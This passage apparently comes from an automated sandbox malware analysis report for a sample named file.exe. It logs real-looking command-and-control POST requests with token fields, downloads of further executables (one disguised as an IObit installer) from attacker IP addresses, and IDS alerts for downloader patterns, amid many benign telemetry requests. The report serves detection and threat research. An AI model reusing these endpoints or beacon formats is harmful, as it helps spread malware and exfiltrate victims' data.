49 45 43 46 48 44 42 2d 2d 0d 0a Data Ascii: ------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="message"ybncbhylepme------DBFHCGCGDAAKFIECFHDB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFBFCGIDAKECGCBGDBAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe HTTP/1.1Host: 95.163.152.232

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:52448 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:64193 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:64280 -> 95.163.152.232:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE6CC60 PR_Recv,

1_2_6CE6CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
